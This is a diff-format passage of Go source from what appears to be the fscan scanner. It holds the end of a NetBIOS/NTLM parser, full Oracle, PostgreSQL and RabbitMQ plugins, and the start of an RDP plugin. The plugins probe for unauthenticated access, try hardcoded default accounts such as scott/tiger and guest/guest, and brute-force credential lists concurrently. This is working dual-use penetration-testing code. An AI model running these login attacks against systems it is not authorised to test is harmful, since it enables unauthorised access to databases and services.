// parseNTLMInfo 解析NTLM信息
|
||||
func (p *NetBIOSPlugin) parseNTLMInfo(data []byte, info *NetBIOSInfo) {
|
||||
if len(data) < 45 {
|
||||
return
|
||||
}
|
||||
|
||||
// 获取Target Info偏移和长度
|
||||
targetInfoLength := int(data[40]) + int(data[41])*256
|
||||
targetInfoOffset := int(data[44])
|
||||
|
||||
if targetInfoOffset+targetInfoLength > len(data) {
|
||||
return
|
||||
}
|
||||
|
||||
// 解析AV_PAIR结构
|
||||
targetInfo := data[targetInfoOffset : targetInfoOffset+targetInfoLength]
|
||||
offset := 0
|
||||
|
||||
for offset+4 <= len(targetInfo) {
|
||||
avId := int(targetInfo[offset]) + int(targetInfo[offset+1])*256
|
||||
avLen := int(targetInfo[offset+2]) + int(targetInfo[offset+3])*256
|
||||
|
||||
if avId == 0x0000 || offset+4+avLen > len(targetInfo) {
|
||||
break
|
||||
}
|
||||
|
||||
value := p.parseUnicodeString(targetInfo[offset+4 : offset+4+avLen])
|
||||
|
||||
switch avId {
|
||||
case 0x0001: // NetBIOS computer name
|
||||
info.NetBIOSComputerName = value
|
||||
case 0x0002: // NetBIOS domain name
|
||||
info.NetBIOSDomainName = value
|
||||
case 0x0003: // DNS computer name
|
||||
if info.ComputerName == "" {
|
||||
info.ComputerName = value
|
||||
}
|
||||
case 0x0004: // DNS domain name
|
||||
if info.DomainName == "" {
|
||||
info.DomainName = value
|
||||
}
|
||||
}
|
||||
|
||||
offset += 4 + avLen
|
||||
}
|
||||
}
|
||||
|
||||
// cleanOSString 清理操作系统字符串
|
||||
func (p *NetBIOSPlugin) cleanOSString(data []byte) string {
|
||||
// 移除NULL字节并分割
|
||||
cleaned := bytes.ReplaceAll(data, []byte{0x00, 0x00}, []byte{124})
|
||||
cleaned = bytes.ReplaceAll(cleaned, []byte{0x00}, []byte{})
|
||||
|
||||
if len(cleaned) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
// 移除最后的分隔符
|
||||
if cleaned[len(cleaned)-1] == 124 {
|
||||
cleaned = cleaned[:len(cleaned)-1]
|
||||
}
|
||||
|
||||
osText := string(cleaned)
|
||||
parts := strings.Split(osText, "|")
|
||||
if len(parts) > 0 {
|
||||
return parts[0]
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// parseUnicodeString 解析Unicode字符串
|
||||
func (p *NetBIOSPlugin) parseUnicodeString(data []byte) string {
|
||||
if len(data)%2 != 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
var result []rune
|
||||
for i := 0; i < len(data); i += 2 {
|
||||
if i+1 >= len(data) {
|
||||
break
|
||||
}
|
||||
// UTF-16LE编码
|
||||
char := uint16(data[i]) | uint16(data[i+1])<<8
|
||||
if char == 0 {
|
||||
break
|
||||
}
|
||||
result = append(result, rune(char))
|
||||
}
|
||||
|
||||
return string(result)
|
||||
}
|
||||
|
||||
// init 自动注册插件
|
||||
func init() {
|
||||
// 使用高效注册方式:直接传递端口信息,避免实例创建
|
||||
RegisterPluginWithPorts("netbios", func() Plugin {
|
||||
return NewNetBIOSPlugin()
|
||||
}, []int{137, 139})
|
||||
}
|
||||
@@ -0,0 +1,209 @@
|
||||
//go:build plugin_oracle || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
_ "github.com/sijms/go-ora/v2"
|
||||
)
|
||||
|
||||
// OraclePlugin Oracle扫描插件
|
||||
type OraclePlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewOraclePlugin() *OraclePlugin {
|
||||
return &OraclePlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("oracle"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *OraclePlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
// 先测试未授权访问
|
||||
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
|
||||
common.LogSuccess(i18n.Tr("oracle_service", target, result.Banner))
|
||||
return result
|
||||
}
|
||||
|
||||
credentials := GenerateCredentials("oracle", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "oracle",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "oracle", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("oracle_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建Oracle认证函数
|
||||
func (p *OraclePlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doOracleAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doOracleAuth 执行Oracle认证
|
||||
func (p *OraclePlugin) doOracleAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
target := info.Target()
|
||||
serviceNames := []string{"ORCL", "XE", "XEPDB1", target}
|
||||
|
||||
for _, serviceName := range serviceNames {
|
||||
connStr := fmt.Sprintf("oracle://%s:%s@%s/%s", cred.Username, cred.Password, target, serviceName)
|
||||
|
||||
connectCtx, cancel := context.WithTimeout(ctx, config.Timeout)
|
||||
|
||||
db, err := sql.Open("oracle", connStr)
|
||||
if err != nil {
|
||||
cancel()
|
||||
continue
|
||||
}
|
||||
|
||||
db.SetMaxOpenConns(1)
|
||||
db.SetMaxIdleConns(0)
|
||||
db.SetConnMaxLifetime(config.Timeout)
|
||||
|
||||
err = db.PingContext(connectCtx)
|
||||
if err != nil {
|
||||
_ = db.Close()
|
||||
cancel()
|
||||
errorType := classifyOracleErrorType(err)
|
||||
if errorType == ErrorTypeAuth {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: errorType,
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
cancel()
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &SQLDBWrapper{db},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: fmt.Errorf("无法连接到Oracle数据库"),
|
||||
}
|
||||
}
|
||||
|
||||
// classifyOracleErrorType Oracle错误分类
|
||||
func classifyOracleErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
oracleAuthErrors := []string{
|
||||
"invalid username/password",
|
||||
"logon denied",
|
||||
"ora-01017",
|
||||
"ora-01045",
|
||||
"ora-28000",
|
||||
"ora-28001",
|
||||
"authentication failed",
|
||||
"permission denied",
|
||||
"access denied",
|
||||
}
|
||||
|
||||
oracleNetworkErrors := append(CommonNetworkErrors,
|
||||
"tns-12541", "tns-12514", "tns-12505",
|
||||
"ora-12170", "ora-12154", "ora-12537",
|
||||
"ora-03135", "ora-03113",
|
||||
)
|
||||
|
||||
return ClassifyError(err, oracleAuthErrors, oracleNetworkErrors)
|
||||
}
|
||||
|
||||
// testUnauthorizedAccess 测试Oracle未授权访问
|
||||
func (p *OraclePlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
defaultAccounts := []Credential{
|
||||
{Username: "scott", Password: "tiger"},
|
||||
{Username: "sys", Password: "sys"},
|
||||
{Username: "system", Password: "manager"},
|
||||
}
|
||||
|
||||
for _, cred := range defaultAccounts {
|
||||
result := p.doOracleAuth(ctx, info, cred, config, state)
|
||||
if result.Success {
|
||||
if result.Conn != nil {
|
||||
_ = result.Conn.Close()
|
||||
}
|
||||
common.LogVuln(i18n.Tr("oracle_default_account", target, cred.Username, cred.Password))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "oracle",
|
||||
Username: cred.Username,
|
||||
Password: cred.Password,
|
||||
Banner: "未授权访问 - 默认账户",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *OraclePlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "oracle",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
_ = conn.Close()
|
||||
|
||||
banner := "Oracle"
|
||||
common.LogSuccess(i18n.Tr("oracle_service", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "oracle",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("oracle", func() Plugin {
|
||||
return NewOraclePlugin()
|
||||
}, []int{1521, 1522, 1525})
|
||||
}
|
||||
@@ -0,0 +1,265 @@
|
||||
//go:build plugin_postgresql || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
_ "github.com/lib/pq" // PostgreSQL driver
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// PostgreSQLPlugin PostgreSQL扫描插件
|
||||
type PostgreSQLPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewPostgreSQLPlugin() *PostgreSQLPlugin {
|
||||
return &PostgreSQLPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("postgresql"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *PostgreSQLPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
// 先测试未授权访问
|
||||
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
|
||||
common.LogVuln(i18n.Tr("postgresql_vuln", target, result.VulInfo))
|
||||
return result
|
||||
}
|
||||
|
||||
credentials := GenerateCredentials("postgresql", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "postgresql",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "postgresql", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("postgresql_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建PostgreSQL认证函数
|
||||
func (p *PostgreSQLPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doPostgreSQLAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doPostgreSQLAuth 执行PostgreSQL认证
|
||||
func (p *PostgreSQLPlugin) doPostgreSQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
connStr := fmt.Sprintf("postgres://%s:%s@%s:%d/postgres?sslmode=disable&connect_timeout=%d",
|
||||
cred.Username, cred.Password, info.Host, info.Port, int64(config.Timeout.Seconds()))
|
||||
|
||||
db, err := sql.Open("postgres", connStr)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyPostgreSQLErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
db.SetConnMaxLifetime(config.Timeout)
|
||||
db.SetMaxOpenConns(1)
|
||||
db.SetMaxIdleConns(0)
|
||||
|
||||
pingCtx, cancel := context.WithTimeout(ctx, config.Timeout)
|
||||
defer cancel()
|
||||
|
||||
err = db.PingContext(pingCtx)
|
||||
if err != nil {
|
||||
_ = db.Close()
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyPostgreSQLErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &SQLDBWrapper{db},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// classifyPostgreSQLErrorType PostgreSQL错误分类
|
||||
func classifyPostgreSQLErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
pgAuthErrors := []string{
|
||||
"authentication failed",
|
||||
"password authentication failed",
|
||||
"role does not exist",
|
||||
"invalid authorization",
|
||||
"permission denied",
|
||||
"unauthorized",
|
||||
"invalid credentials",
|
||||
"access denied",
|
||||
"pq: password authentication failed",
|
||||
"pq: role",
|
||||
"pq: invalid authorization specification",
|
||||
"pq: permission denied",
|
||||
"pq: authentication failed",
|
||||
"pq: FATAL: password authentication failed",
|
||||
"pq: FATAL: role",
|
||||
}
|
||||
|
||||
pgNetworkErrors := append(CommonNetworkErrors,
|
||||
"dial tcp",
|
||||
"connection closed",
|
||||
"eof",
|
||||
"network error",
|
||||
"context deadline exceeded",
|
||||
"pq: server closed the connection unexpectedly",
|
||||
)
|
||||
|
||||
return ClassifyError(err, pgAuthErrors, pgNetworkErrors)
|
||||
}
|
||||
|
||||
// testUnauthorizedAccess 测试PostgreSQL未授权访问
|
||||
func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
connStr := fmt.Sprintf("postgres://postgres@%s:%d/postgres?sslmode=disable&connect_timeout=%d",
|
||||
info.Host, info.Port, int64(config.Timeout.Seconds()))
|
||||
|
||||
db, err := sql.Open("postgres", connStr)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer func() { _ = db.Close() }()
|
||||
|
||||
db.SetConnMaxLifetime(config.Timeout)
|
||||
db.SetMaxOpenConns(1)
|
||||
db.SetMaxIdleConns(0)
|
||||
|
||||
pingCtx, cancel := context.WithTimeout(ctx, config.Timeout)
|
||||
defer cancel()
|
||||
|
||||
err = db.PingContext(pingCtx)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return nil
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
queryCtx, queryCancel := context.WithTimeout(ctx, config.Timeout)
|
||||
defer queryCancel()
|
||||
|
||||
var version string
|
||||
err = db.QueryRowContext(queryCtx, "SELECT version()").Scan(&version)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "postgresql",
|
||||
VulInfo: "未授权访问(trust认证)",
|
||||
}
|
||||
}
|
||||
|
||||
vulInfo := fmt.Sprintf("未授权访问(trust认证) - %s", version)
|
||||
if len(vulInfo) > 100 {
|
||||
vulInfo = vulInfo[:100] + "..."
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "postgresql",
|
||||
VulInfo: vulInfo,
|
||||
}
|
||||
}
|
||||
|
||||
func (p *PostgreSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
connStr := fmt.Sprintf("postgres://invalid:invalid@%s:%d/postgres?sslmode=disable&connect_timeout=%d",
|
||||
info.Host, info.Port, int64(config.Timeout.Seconds()))
|
||||
|
||||
db, err := sql.Open("postgres", connStr)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "postgresql",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
defer func() { _ = db.Close() }()
|
||||
|
||||
pingCtx, cancel := context.WithTimeout(ctx, config.Timeout)
|
||||
defer cancel()
|
||||
|
||||
err = db.PingContext(pingCtx)
|
||||
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
} else {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
}
|
||||
|
||||
var banner string
|
||||
if err != nil {
|
||||
errMsg := strings.ToLower(err.Error())
|
||||
if strings.Contains(errMsg, "postgres") ||
|
||||
strings.Contains(errMsg, "authentication") ||
|
||||
strings.Contains(errMsg, "database") ||
|
||||
strings.Contains(errMsg, "password") ||
|
||||
strings.Contains(errMsg, "role") ||
|
||||
strings.Contains(errMsg, "user") ||
|
||||
strings.Contains(errMsg, "pq:") {
|
||||
banner = "PostgreSQL"
|
||||
} else {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "postgresql",
|
||||
Error: fmt.Errorf("无法识别为PostgreSQL服务"),
|
||||
}
|
||||
}
|
||||
} else {
|
||||
banner = "PostgreSQL"
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("postgresql_service", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "postgresql",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("postgresql", func() Plugin {
|
||||
return NewPostgreSQLPlugin()
|
||||
}, []int{5432, 5433, 5434})
|
||||
}
|
||||
@@ -0,0 +1,314 @@
|
||||
//go:build plugin_rabbitmq || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// RabbitMQPlugin RabbitMQ扫描插件
|
||||
type RabbitMQPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewRabbitMQPlugin() *RabbitMQPlugin {
|
||||
return &RabbitMQPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("rabbitmq"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *RabbitMQPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
// 先检测未授权访问
|
||||
if result := p.testUnauthorizedAccess(ctx, info, config, state); result != nil && result.Success {
|
||||
common.LogSuccess(i18n.Tr("rabbitmq_service", target, result.Banner))
|
||||
return result
|
||||
}
|
||||
|
||||
credentials := GenerateCredentials("rabbitmq", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rabbitmq",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "rabbitmq", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("rabbitmq_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建RabbitMQ认证函数
|
||||
func (p *RabbitMQPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doRabbitMQAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doRabbitMQAuth 执行RabbitMQ认证
|
||||
func (p *RabbitMQPlugin) doRabbitMQAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
// 对于AMQP端口,使用HTTP管理接口
|
||||
port := info.Port
|
||||
if port == 5672 || port == 5671 {
|
||||
port = 15672
|
||||
if info.Port == 5671 {
|
||||
port = 15671
|
||||
}
|
||||
}
|
||||
|
||||
baseURL := fmt.Sprintf("http://%s:%d", info.Host, port)
|
||||
client := &http.Client{Timeout: config.Timeout}
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/api/overview", nil)
|
||||
if err != nil {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyRabbitMQErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
req.SetBasicAuth(cred.Username, cred.Password)
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyRabbitMQErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
defer func() { _ = resp.Body.Close() }()
|
||||
|
||||
if resp.StatusCode == 200 {
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &rabbitMQConnWrapper{},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
if resp.StatusCode == 401 || resp.StatusCode == 403 {
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeAuth,
|
||||
Error: fmt.Errorf("认证失败,状态码: %d", resp.StatusCode),
|
||||
}
|
||||
}
|
||||
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: fmt.Errorf("意外响应状态码: %d", resp.StatusCode),
|
||||
}
|
||||
}
|
||||
|
||||
// rabbitMQConnWrapper RabbitMQ连接包装器
|
||||
type rabbitMQConnWrapper struct{}
|
||||
|
||||
func (w *rabbitMQConnWrapper) Close() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// classifyRabbitMQErrorType RabbitMQ错误分类
|
||||
func classifyRabbitMQErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
rabbitMQAuthErrors := []string{
|
||||
"authentication failed",
|
||||
"access denied",
|
||||
"unauthorized",
|
||||
"401 unauthorized",
|
||||
"403 forbidden",
|
||||
}
|
||||
|
||||
return ClassifyError(err, rabbitMQAuthErrors, CommonNetworkErrors)
|
||||
}
|
||||
|
||||
// testUnauthorizedAccess 测试RabbitMQ未授权访问
|
||||
func (p *RabbitMQPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
port := info.Port
|
||||
if port == 5672 || port == 5671 {
|
||||
port = 15672
|
||||
}
|
||||
|
||||
baseURL := fmt.Sprintf("http://%s:%d", info.Host, port)
|
||||
client := &http.Client{Timeout: config.Timeout}
|
||||
|
||||
// 测试无认证访问
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/api/overview", nil)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
} else {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
defer func() { _ = resp.Body.Close() }()
|
||||
|
||||
if resp.StatusCode == 200 {
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "rabbitmq",
|
||||
Banner: "未授权访问",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 测试guest默认用户
|
||||
guestReq, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/api/overview", nil)
|
||||
if err == nil {
|
||||
guestReq.SetBasicAuth("guest", "guest")
|
||||
guestResp, guestErr := client.Do(guestReq)
|
||||
if guestErr == nil {
|
||||
defer func() { _ = guestResp.Body.Close() }()
|
||||
if guestResp.StatusCode == 200 {
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "rabbitmq",
|
||||
Banner: "未授权访问 - guest默认密码",
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// testAMQPProtocol 检测AMQP协议
|
||||
func (p *RabbitMQPlugin) testAMQPProtocol(ctx context.Context, info *common.HostInfo, config *common.Config) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
||||
|
||||
// 发送AMQP协议头
|
||||
amqpHeader := []byte{0x41, 0x4d, 0x51, 0x50, 0x00, 0x00, 0x09, 0x01}
|
||||
_, err = conn.Write(amqpHeader)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
buffer := make([]byte, 32)
|
||||
n, err := conn.Read(buffer)
|
||||
if err != nil || n < 4 {
|
||||
return nil
|
||||
}
|
||||
|
||||
if string(buffer[:4]) == "AMQP" || (n >= 8 && buffer[0] == 0x01) {
|
||||
banner := "RabbitMQ AMQP"
|
||||
common.LogSuccess(i18n.Tr("rabbitmq_service", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "rabbitmq",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *RabbitMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
// 对于AMQP端口,检测AMQP协议
|
||||
if info.Port == 5672 || info.Port == 5671 {
|
||||
if result := p.testAMQPProtocol(ctx, info, config); result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
}
|
||||
|
||||
// 检测HTTP管理界面
|
||||
return p.testManagementInterface(ctx, info, config, state)
|
||||
}
|
||||
|
||||
func (p *RabbitMQPlugin) testManagementInterface(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port)
|
||||
|
||||
client := &http.Client{Timeout: config.Timeout}
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", baseURL, nil)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rabbitmq",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rabbitmq",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
defer func() { _ = resp.Body.Close() }()
|
||||
|
||||
if resp.StatusCode == 200 || resp.StatusCode == 401 {
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
if strings.Contains(strings.ToLower(string(body)), "rabbitmq") {
|
||||
banner := "RabbitMQ Management"
|
||||
common.LogSuccess(i18n.Tr("rabbitmq_detected", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "rabbitmq",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "rabbitmq",
|
||||
Error: fmt.Errorf("无法识别为RabbitMQ服务"),
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("rabbitmq", func() Plugin {
|
||||
return NewRabbitMQPlugin()
|
||||
}, []int{5672, 15672, 5671})
|
||||
}
|
||||
@@ -0,0 +1,276 @@
|
||||
//go:build plugin_rdp || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/mylib/grdp/glog"
|
||||
"github.com/shadow1ng/fscan/mylib/grdp/login"
|
||||
